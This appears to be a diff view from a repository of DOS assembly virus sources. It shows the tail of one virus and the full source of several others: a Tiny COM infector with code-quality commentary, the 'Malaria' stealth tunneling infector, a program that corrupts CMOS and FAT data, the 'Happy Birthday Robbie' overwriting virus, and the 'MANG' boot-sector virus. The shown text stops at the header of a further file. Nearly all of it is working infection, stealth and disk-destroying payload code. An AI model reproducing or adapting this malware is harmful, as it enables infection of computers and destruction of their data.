;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;--------------------------------------------------------------------------
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus
+250
View File
@@ -0,0 +1,250 @@
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the original TINYs, where the id was 7, 8, 9. The author can
; easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ; Standard location-finder
oldtrick: pop si
; The following statement is a bug -- well, not really a bug, just
; extraneous code. The value pushed on the stack in the following
; line is NEVER popped off. This is messy programming, as one byte
; could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ; Decrypt virus
call savepsp ; and save the PSP
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
; See the procedures at the end for further details.
jmp short findencryptval ; Go to the rest of the virus
; The next line is another example of messy programming -- it is a
; NOP inserted by MASM during assembly. Running this file through
; TASM with the /m2 switch should eliminate such "fix-ups."
nop
; The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ; Save handle
; The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
; Once again, poor programming style, though there's nothing wrong
; with the code.
mov bx,offset startencrypt
add bx,si
; Continueencrypt is implemented as a jmp-type loop. Although it's
; fine to code it this way, it's probably easier to code using the
; loop statement. Upon close inspection, one finds the loop to be
; flawed. Note the single inc bx statement. This essentially makes
; the encryption value a a byte instead of a word, which decreases
; the number of mutations from 65,535 to 255. Once again, this is
; just poor programming, very easily rectified with another inc bx
; statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
; to load up the encryption value before the loop, and replace the
; three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
; The next two lines should be executed BEFORE continueencrypt. As
; it stands right now, they are recalculated every iteration which
; slows down execution somewhat. Furthermore, the value calculated
; is much too large and this increases execution time. Yet another
; improvement would be the merging of the mov/add pair to the much
; cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ; Calculate end of
add cx,si ; encryption: Note
cmp bx,cx ; the value is 246
jle continueencrypt ; bytes too large.
pop bx
ret
writerest: ; Tack on the virus to the
call encrypt ; end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ; Write starting from the id
int 21h ; word
call encrypt
ret
startencrypt:
; This is where the encrypted area begins. This could be moved to
; where the ret is in procedure writerest, but it is not necessary
; since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ; Get random #
int 21h ; CX=hr/min dx=sec
; The following chunk of code puzzles me. I admit it, I am totally
; lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ; Check to see if any
cmp dl,0 ; part of the encryption
je findencryptval ; value is 0 and if so,
cmp dh,0 ; find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ; Set up bp for
add bp,103h ; jmp later
lea dx,[si+filemask] ; '*.COM',0
xor cx,cx ; Attributes
mov ah,4Eh ; Find first
tryanother:
int 21h
jc quit_virus ; If none found, exit
mov ax,3D02h ; Open read/write
mov dx,9Eh ; In default DTA
int 21h
mov cx,3
mov bx,ax ; Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ; Read 3 bytes
cmp byte ptr [di],0E9h ; Is it a jmp?
je infect
findnext:
mov ah,4Fh ; If not, find next
jmp short tryanother
infect:
mov ax,4200h ; Move file pointer
mov dx,[di+1] ; to jmp location
mov [si+offset oldjmp],dx ; and save old jmp
xor cx,cx ; location
call int21h
jmp short skipcheckinf
; Once again, we meet an infamous MASM-NOP.
nop
; I don't understand why checkinf is implemented as a procedure as
; it is executed but once. It is a waste of code space to do such
; a thing. The ret and call are both extra, wasting four bytes. An
; additional three bytes were wasted on the JMP skipping checkinf.
; In a program called "Tiny," a wasted seven bytes is rather large
; and should not exist. I have written a virus of half the length
; of this virus which is a generic COM infector. There is just too
; too much waste in this program.
checkinf:
cmp word ptr [di],990h ; Is it already
je findnext ; infected?
; The je statement above presents another problem. It leaves stuff
; on the stack from the call. This is, once again, not a critical
; error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ; Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ; read 2 bytes
call checkinf
; The next check is extraneous. No COM file is larger than 65,535
; bytes before infection simply because it is "illegal." Yet ano-
; ther waste of code. Even if one were to use this useless check,
; it should be implemented, to save space, as or dx, dx.
cmp dx,0 ; Check if too big
jne findnext
cmp ah,0FEh ; Check again if too big
jae findnext
mov [si+storejmp],ax ; Save new jmp
call writerest ; location
mov ax,4200h ; Go to offset
mov dx,1 ; 1 in the file
xor cx,cx
call int21h
mov ah,40h ; and write the new
mov cx,2 ; jmp location
lea dx,[si+storejmp]
call int21h
; I think it is quite obvious that the next line is pointless. It
; is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ; Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ; Read file
; I do not understand why all the int 21h calls are done with this
; procedure. It is a waste of space. A normal int 21h call is two
; bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
; Note: The comments for savepsp also apply to restorepsp.
; This code could have easily been changed to a set active DTA INT
; 21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
; The following is a bug. It should be
; mov cx, 50h
; since the author decided to use words instead of bytes.
mov cx,100h
push si
; The loop below is dumb. A simple rep movsw statement would have
; sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ; Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ; Waste of one byte
buffer db 00h, 00h, 01h ; Waste of three bytes
storejmp dw 0 ; Waste of two bytes
; endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ; Should actually be
idontknow3 db 2ch dup (?) ; 100h bytes long.
veryend: ; End of encryption
muttiny ends
end start
+408
View File
@@ -0,0 +1,408 @@
;
;=============================================================================
; [Malaria]
; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus
;=============================================================================
;
virus_size equ (v_end-v_start)
loader_size equ (loader_end-loader_start)
paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h
.model tiny
.code
.286
org 0100h
start:
v_start:
push ds es
dec ax
int 0013h
inc ax
jz exit_install
mov ax,es
dec ax
mov ds,ax
mov bx,5A4Dh
sub si,si
cmp bl,byte ptr [si]
jz exit_install
mov ax,offset exit_install
delta_two = $-0002h
push cs ax
sub word ptr [si+0003h],paragraph_size
sub word ptr [si+0012h],paragraph_size
mov byte ptr [si],bl
mov ax,word ptr [si+0012h]
mov ds,ax
mov byte ptr [si],bh
mov word ptr [si+0001h],0008h
mov word ptr [si+0003h],paragraph_size-0001h
inc ax
mov es,ax
push ax
mov si,offset v_start
delta_one = $-0002h
mov cx,virus_size
mov di,offset v_start
rep movs byte ptr [di],cs:[si]
mov ax,offset trace_interrupt
push ax
retf
exit_install:
pop es ds
mov si,offset host_bytes
delta_three = $-0002h
mov di,offset v_start
push di
movsb
movsw
retn
loader_start:
mov ax,0B900h
mov es,ax
push ax
mov ax,offset restore_boot_sector
push ax
mov ax,0202h
mov bx,offset v_start
mov cx,'ML'
loader_fix_1 = $-0002h
inc dh
int 0013h
retf
loader_end:
restore_boot_sector:
xor ax,ax
mov es,ax
mov si,offset boot_bytes
mov di,7C00h
push ax di
mov cl,loader_size shr 0001h
rep movs word ptr [di],cs:[si]
mov ax,word ptr es:[0084h]
mov word ptr cs:[int_word],ax
push cs
pop es
mov byte ptr cs:[trace_interrupt_],00C3h
call trace_interrupt
mov byte ptr cs:[trace_interrupt_],00BEh
retf
trace_interrupt:
mov ds,cx
mov byte ptr cs:[trap_flag],cl
mov si,004Ch
mov di,offset i0013hOffset
movsw
movsw
mov word ptr [si-0004h],offset i0013h
mov word ptr [si-0002h],cs
trace_interrupt_:
mov si,0084h
mov di,offset i0021hOffset
movsw
movsw
mov word ptr [si-0004h],offset i0021h
mov word ptr [si-0002h],cs
mov si,0004h
push word ptr ds:[si] word ptr ds:[si+0002h]
mov word ptr [si],offset i0001h
mov word ptr [si+0002h],cs
mov ah,0052h
int 0021h
mov word ptr cs:[dos_segment],es
mov ah,0001h
push ax
popf
mov ah,0019h
call call_i0021h
pop word ptr ds:[si+0002h] word ptr ds:[si]
retf
i0001h: push bp
mov bp,sp
push ax
cmp byte ptr cs:[trap_flag],0001h
jz i0001h_exit_
mov ax,word ptr [bp+0004h]
cmp ax,0D00Dh
dos_segment = $-0002h
jnz i0001h_exit
mov word ptr cs:[t0021hSegment],ax
mov ax,word ptr [bp+0002h]
mov word ptr cs:[t0021hOffset],ax
inc byte ptr cs:[trap_flag]
i0001h_exit_:
and byte ptr [bp+0007h],-0002h
i0001h_exit:
pop ax bp
int_return:
iret
i0013h: cmp ax,-0001h
jz int_return
cmp byte ptr cs:[trap_flag],0001h
jz i0013h_continue
pusha
push ds es cs
pop es
cwd
mov ds,dx
mov ax,word ptr ds:[0084h]
cmp ax,word ptr cs:[int_word]
jz hook_exit
push cs
call trace_interrupt_
hook_exit:
pop es ds
popa
i0013h_continue:
cmp dl,0001h
jnb original_i0013h
cmp ah,0002h
jz i0013h_stealth_boot
pusha
push ds es
cmp ah,0003h
jnz i0013h_exit
i0013h_infect_boot:
mov ax,0BBE8h
mov es,ax
mov ax,0201h
xor bx,bx
mov cx,0001h
xor dh,dh
call call_i0013h
cmp byte ptr es:[bx],00B8h
jz i0013h_exit
mov al,byte ptr es:[bx+0010h]
mul byte ptr es:[bx+0016h]
xchg ax,cx
mov ax,word ptr es:[bx+0011h]
shr ax,0004h
add ax,cx
sub ax,word ptr es:[bx+0018h]
mov word ptr cs:[loader_fix_1],ax
push ax es es cs
pop es ds
mov cl,loader_size shr 0001h
xor si,si
mov di,offset boot_bytes
rep movsw
pop es
mov cl,loader_size shr 0001h
mov si,offset loader_start
sub di,di
rep movs word ptr [di],cs:[si]
mov ax,0301h
inc cx
call call_i0013h
push cs
pop es
mov ax,0302h
mov bx,offset v_start
pop cx
inc dh
call call_i0013h
i0013h_exit:
pop es ds
popa
original_i0013h:
db 00EAh,'PURE'
i0013hOffset = $-0004h
i0013hSegment = $-0002h
i0013h_stealth_boot:
cmp cx,0001h
jnz original_i0013h
or dh,dh
jnz original_i0013h
pusha
call call_i0013h
jc i0013h_stealth_boot_exit
cmp byte ptr es:[bx],00B8h
jnz i0013h_stealth_boot_exit
mov si,offset boot_bytes
mov di,bx
mov cl,loader_size shr 0001h
rep movs word ptr [di],cs:[si]
i0013h_stealth_boot_exit:
popa
clc
retf 0002h
i0021h: cmp ah,0011h
jz fcb_stealth
cmp ah,0012h
jz fcb_stealth
cmp ah,004Eh
jz dta_stealth
cmp ah,004Fh
jz dta_stealth
pusha
push ds es
cmp ax,4300h
jz i0021h_infect_file
cmp ax,4301h
jz i0021h_infect_file
cmp ax,4B00h
jz i0021h_infect_file
i0021h_exit:
pop es ds
popa
original_i0021h:
db 00EAh,'TEXT'
i0021hOffset = $-0004h
i0021hSegment = $-0002h
fcb_stealth:
call call_i0021h
pusha
push es
inc al
jz fcb_exit_
mov ah,002Fh
call tunnel_i0021h
cmp byte ptr es:[bx],-0001h
jnz fcb_continue
add bx,0007h
fcb_continue:
mov ax,word ptr es:[bx+0017h]
mov cx,word ptr es:[bx+0019h]
call hide_dir
fcb_exit_:
pop es
popa
fcb_exit:
iret
dta_stealth:
call call_i0021h
jc dta_exit
pusha
push es
mov ah,002Fh
call tunnel_i0021h
mov ax,word ptr es:[bx+0016h]
mov cx,word ptr es:[bx+0018h]
sub bx,0003h
call hide_dir
pop es
popa
dta_exit:
retf 0002h
_close_file:
jmp close_file
i0021h_infect_file:
push ds
pop es
mov al,002Eh
mov cx,0040h
mov di,dx
repnz scasb
cmp word ptr [di],4F43h
jnz i0021h_exit
mov ax,3D02h
call tunnel_i0021h
xchg ax,bx
mov ax,1220h
int 002Fh
push bx
mov ax,1216h
mov bl,byte ptr es:[di]
int 002Fh
pop bx
mov si,offset temp_buffer
push cs
pop ds
mov ah,003Fh
mov cl,0003h
mov dx,si
call tunnel_i0021h
cmp word ptr [si],5A4Dh
jz close_file
cmp word ptr [si],4D5Ah
jz close_file
push si
lodsb
mov byte ptr [si-0004h],al
lodsw
mov word ptr [si-0005h],ax
pop si
mov ax,word ptr es:[di+0011h]
mov word ptr es:[di+0015h],ax
mov cx,virus_size
cmp ax,cx
jb close_file
push ax
sub ax,0003h
mov byte ptr [si],00E9h
mov word ptr [si+0001h],ax
sub ax,cx
cmp ax,word ptr [si-0002h]
pop ax
jz close_file
add ax,offset v_start
mov word ptr [delta_one],ax
add ax,offset exit_install-v_start
mov word ptr [delta_two],ax
add ax,offset host_bytes-exit_install
mov word ptr [delta_three],ax
mov ah,0040h
mov dx,offset v_start
call tunnel_i0021h
mov word ptr es:[di+0015h],0000h
mov ah,0040h
mov cx,0003h
mov dx,si
call tunnel_i0021h
mov ax,5701h
mov cx,word ptr es:[di+000Dh]
mov dx,word ptr es:[di+000Fh]
push dx
and cx,-0020h
and dx,001Fh
dec dx
or cx,dx
pop dx
call tunnel_i0021h
close_file:
mov ah,003Eh
call tunnel_i0021h
jmp i0021h_exit
hide_dir:
mov si,001Fh
and ax,si
and cx,si
dec cx
xor ax,cx
jnz hide_exit
cmp ax,word ptr es:[bx+si]
ja hide_exit
mov ax,virus_size
cmp word ptr es:[bx+si-0002h],ax
jbe hide_exit
hide_continue:
sub word ptr es:[bx+si-0002h],ax
hide_exit:
retn
tunnel_i0021h:
pushf
db 009Ah,'PURE'
t0021hOffset = $-0004h
t0021hSegment = $-0002h
retn
call_i0013h:
pushf
push cs
call original_i0013h
retn
call_i0021h:
pushf
push cs
call original_i0021h
retn
boot_bytes db loader_size dup (0000h)
host_bytes db 00CDh,0020h,'!'
v_end:
heap_start:
temp_buffer db 0003h dup (?)
trap_flag db 0001h dup (?)
int_word db 0002h dup (?)
heap_end:
end start
.
+176
View File
@@ -0,0 +1,176 @@
.model tiny
.code
seg_a segment byte public
ASSUME CS:SEG_A, DS:SEG_A
org 100h
main proc
find:
mov ah,3bh
mov dx,offset win
int 21h
mov Dx,offset conn
mov cx,2h
mov ah,4eh
int 21h
next:
mov ah,4fh
mov dx,offset conn
int 21h
open:
mov ah,43H
mov dx,09Eh
mov al,0
int 21H
mov cl,0
mov ah,43H
nop
mov dx,09Eh
mov al,1
int 21H
mov ax,3d02h
mov dx,9eh
int 21h
write:
xchg bx,ax
mov cx,833
mov ah,40h
mov dx,100h
int 21h
close:
mov ah,3eh
int 21h
inc cntr
cmp cntr,5
jge message
call next
message:
mov ah,3bh
mov al,00h
mov dx,offset UP_ONE
int 21h
cmp ax,3
jne next
mov cntr,0000
C_MAN:
mov ah,09h
mov dx,offset who
int 21h
inc cntr
cmp cntr,65
jge fat_fuck
mov dx,cntr
xor bx,bx
mov bx,255
call CMOS_CHCKSM
CMOS_CHCKSM:
xor ax,ax
mov al,2Eh
out 70h,al
in al,71h
xchg ch,al
mov al,2Fh
out 70h,al
in al,71h
xchg cl,al
push dx
xchg dl,al
out 70h,al
in al,71h
sub cx,ax
add cx,bx
pop dx
xchg dl,al
out 70h,al
xchg al,bl
out 71h,al
mov al,2Eh
out 70h,al
xchg al,ch
out 71h,al
mov al,2Fh
out 70h,al
xchg al,cl
out 71h,al
call C_MAN
fat_fuck:
push dx
push bx
push cx
push ax
push bp
mov ax,0dh
int 21h
mov ah,19h
int 21h
xor dx,dx
call load_sec
mov bp,bx
mov bx,word ptr es:[bp+16h]
push ax
call rnd_num
cmp bx,ax
jbe alter_fat1
mov ax,bx
alter_fat1:
xchg ax,dx
pop ax
mov cx,1
int 26h
add dx,bx
int 26h
pop bp
pop ax
pop cx
pop bx
pop dx
CALL JUST_TO_MAKE_IT_WORSE
load_sec:
push cx
push ds
push ax
push cs
pop ds
push cs
pop es
mov ax,0dh
int 21h
pop ax
mov cx, 1
mov bx, offset sec_buf
int 25h
pop ds
pop cx
ret
rnd_num:
push cx
push dx
xor ax,ax
int 1ah
xchg dx,ax
pop dx
pop cx
ret
JUST_TO_MAKE_IT_WORSE:
mov ah,31h
mov dx,7530h
int 21H
RET
sec_buf dw 100h dup(?)
win db 'C:\windows\command',0
conn db '*.C*',0
who db '§ EvuLz MaLiCe §$'
cntr dw 0
up_one db '..',0
main endp
seg_a ends
end find
File diff suppressed because it is too large Load Diff
+224
View File
@@ -0,0 +1,224 @@
;
;Happy Birthday Robbie Virus
;
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
code_length equ finish - start
lf equ 0Ah
cr equ 0Dh
start label near
id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp
main: mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"
file_loop: int 021h
jc exit_virus ; If there are no files, go
; off
call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful
mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files
exit_virus:
mov ah,2Ah
int 21h
cmp dl,3
jne dos_drop
cmp dh,10
je eat_screen
dos_drop: int 20h
eat_screen: mov byte ptr count,0
mov ah,00
mov al,03
int 10h
mov ah,08
int 10h
mov byte ptr count2,al
cmp byte ptr count2,00
jne draw_face
mov byte ptr count2,0fh
draw_face:
mov ah,01 ;set cursor type
mov cl,00
mov ch,40h
int 10h
mov cl,00
mov dl,4fh
mov ah,06 ;clear the display window
mov al,00
mov bh,0fh ;blank line attribs
mov ch,00 ;starting at upper left corner
mov cl,00 ; to
mov dh,00 ;row 0
mov dl,4fh ;column 4Fh
int 10h
mov ah,02 ;set cursor position
mov dh,00 ;to row 0,
mov dl,1fh ;column 1Fh
mov bh,00 ;in graphics mode
int 10h
mov dx,offset eyes ;get the eyes
mov ah,09 ;and draw them to screen
mov bl,0fh ;this colour
int 21h
mov ah,02 ;reposition character
mov dh,01 ;to row 1,
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character and attrib
mov al,0dch ;character shape
mov bl,0fh ;character colour
mov cx,50h ;number of characters.
int 10h
mov ah,02 ;reposition cursor
mov dh,18h ;to row 18h
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character & attribute
mov al,0dfh ;character shape
mov bl,0fh ;character colour
mov cx,0050h ;number of characters
int 10h
mov dl,00 ;back to column 0
make_teeth:
mov ah,02 ;set cursor position
mov dh,02 ;to row 2
int 10h
mov ah,09 ;write the character
mov al,55h ; "U" for one top tooth
mov bl,0fh ; colour code
mov cx,1 ;only one tooth
int 10h
mov ah,02
mov dh,17h ;row 17h
inc dl ;increase column number
int 10h
mov ah,09 ;write a character there.
mov al,0efh ;character "ï" for bottom teeth
mov bl,0fh ;colour code
int 10h
inc dl ;increment column number
cmp dl,50h ;is there 50h of them yet?
jl make_teeth ;make more if not
mov byte ptr count,0 ;0 the counter
pause_1:
mov cx,7fffh
a_loop:
loop a_loop ;pause
inc byte ptr count
cmp byte ptr count,0ah
jl pause_1
mov byte ptr count,00
mov cl,00 ;from column 0
mov dl,4fh ;to column 79,
close_jaws:
mov ah,06 ;scroll the page up
mov al,01 ;blanking a line
mov bh,byte ptr count ;with this attribute
mov ch,0dh ;and from row 13
mov dh,18h ;to row 24
int 10h
mov ah,07 ;scroll downward
mov al,01 ;blanking one line
mov bh,byte ptr count ;with this attribute
mov ch,00 ;from row 0
mov dh,0ch ;to row 12
int 10h
mov cx,3fffh
b_loop:
loop b_loop ;pause
inc byte ptr count
cmp byte ptr count,0bh
jl close_jaws
mov byte ptr count,00
pause_2:
mov cx,7fffh
finish_up:
loop finish_up
inc byte ptr count ;increment count by 1
cmp byte ptr count,0ah ;is it a 10 yet?
jl pause_2 ;no? loop again...
mov ah,06 ;scroll page up
mov al,00 ;blank entire window
mov bh,byte ptr count ;with this attribute
mov ch,00 ;from row 0,
mov cl,00 ;column 0,
mov dh,18h ;to row 18h
mov dl,4fh ;column 79
int 10h
mov ah,01 ;reset cursor type
mov cl,07
mov ch,06 ;everything is back to normal
int 10h
mov si,offset rabid
fuckin_loop: lodsb
or al,al
jz $
mov ah, 0Eh
int 10h
jmp short fuckin_loop
infect_file:
mov ax,03D02h ; DOS open file function,
; read-write
mov dx,09Eh ; DX points to the victim
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,2 ; CX holds byte to read (2)
mov dx,offset buffer ; DX points to buffer
int 021h
cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
pushf ; Save flags
je close_it_up ; If not, then file is OK
cwd ; Zero CX \_ Zero bytes from
; start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function,
; start
int 021h
mov ah,040h ; DOS write to file function
mov cx,code_length ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
close_it_up: mov ah,03Eh ; DOS close file function
int 021h
popf ; Restore flags
ret ; Return to caller
buffer dw ? ; Buffer to hold test data
; Initialized data goes here
com_spec db "*.COM",0 ; What to infect: all COM
count db 0, 0
count2 db 0, 0
eyes db '(o) (o)$'
dinked db '[Malmsey Habitat v. 1.3]', 0
rabid db cr, lf
db 'Warmest Regards to RABID', cr, lf
db 'from -- ANARKICK SYSTEMS! ',0,'$'
finish:
code ends
end start
+252
View File
@@ -0,0 +1,252 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ MANG ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 30-Aug-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_0001e equ 4Ch
data_0002e equ 4Eh
main_ram_size_ equ 413h
data_0003e equ 7C00h ;*
data_0004e equ 7C05h ;*
data_0005e equ 7C0Ah ;*
data_0006e equ 7C0Ch ;*
data_0007e equ 7
data_0008e equ 8
data_0009e equ 0Ah
data_0014e equ 3BEh ;*
data_0015e equ 7C03h ;*
data_0016e equ 0B300h ;*
data_0017e equ 1BEh ;*
data_0018e equ 5000h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
mang proc far
start:
jmp loc_0007
cmc ; Complement carry
add [bx+si-61h],al
add cl,ds:data_0016e
db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
db 0D8h,0F6h, 06h, 3Fh, 04h, 01h
db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh
db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
db 0Bh, 00h, 9Dh,0CAh, 02h, 00h
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
db 00h
db 50h, 53h, 51h, 52h, 1Eh, 06h
db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h
db 0BEh, 04h, 00h
loc_0002:
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_0009e
jnc loc_0003 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr ds:data_0009e
dec si
jnz loc_0002 ; Jump if not zero
jmp short loc_0006
loc_0003:
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_0004 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_0006 ; Jump if equal
loc_0004:
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je loc_0005 ; Jump if equal
mov cl,0Eh
loc_0005:
mov ds:data_0008e,cx
pushf ; Push flags
call dword ptr ds:data_0009e
jc loc_0006 ; Jump if carry Set
mov si,data_0014e
mov di,1BEh
mov cx,21h
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; Zero register
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_0009e
loc_0006:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
loc_0007:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov ax,7C00h
mov sp,ax
sti ; Enable interrupts
push ds
push ax
mov ax,ds:data_0001e
mov ds:data_0005e,ax
mov ax,ds:data_0002e
mov ds:data_0006e,ax
mov ax,ds:main_ram_size_
dec ax
dec ax
mov ds:main_ram_size_,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:data_0004e,ax
mov ax,0Eh
mov ds:data_0001e,ax
mov ds:data_0002e,es
mov cx,1BEh
mov si,data_0003e
xor di,di ; Zero register
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
jmp dword ptr cs:data_0015e
xor ax,ax ; Zero register
mov es,ax
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
push cs
pop ds
mov ax,201h
mov bx,data_0003e
mov cx,ds:data_0008e
cmp cx,7
jne loc_0008 ; Jump if not equal
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0009
loc_0008:
mov cx,ds:data_0008e
mov dx,100h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0009 ; Jump if carry Set
push cs
pop es
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0009 ; Jump if carry Set
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_0014 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
jne loc_0014 ; Jump if not equal
loc_0009:
xor cx,cx ; Zero register
mov ah,4
int 1Ah ; Real time clock ah=func 04h
; get date cx=year, dx=mon/day
cmp dx,306h
je loc_0010 ; Jump if equal
retf ; Return far
loc_0010:
xor dx,dx ; Zero register
mov cx,1
loc_0011:
mov ax,309h
mov si,ds:data_0008e
cmp si,3
je loc_0012 ; Jump if equal
mov al,0Eh
cmp si,0Eh
je loc_0012 ; Jump if equal
mov dl,80h
mov byte ptr ds:data_0007e,4
mov al,11h
loc_0012:
mov bx,data_0018e
mov es,bx
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jnc loc_0013 ; Jump if carry=0
xor ah,ah ; Zero register
int 13h ; Disk dl=drive 0 ah=func 00h
; reset disk, al=return status
loc_0013:
inc dh
cmp dh,ds:data_0007e
jb loc_0011 ; Jump if below
xor dh,dh ; Zero register
inc ch
jmp short loc_0011
loc_0014:
mov cx,7
mov ds:data_0008e,cx
mov ax,301h
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0009 ; Jump if carry Set
mov si,data_0014e
mov di,data_0017e
mov cx,21h
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; Zero register
inc cl
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0009
db 16 dup (0)
db 0Ah, 'Replace and press any key w'
db 'hen ready', 0Dh, 0Ah, 0
db 'IO SYSMSDOS SYS'
db 00h, 00h, 55h,0AAh
mang endp
seg_a ends
end start
+529
View File
@@ -0,0 +1,529 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ PROB ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ Version: ÛÛ
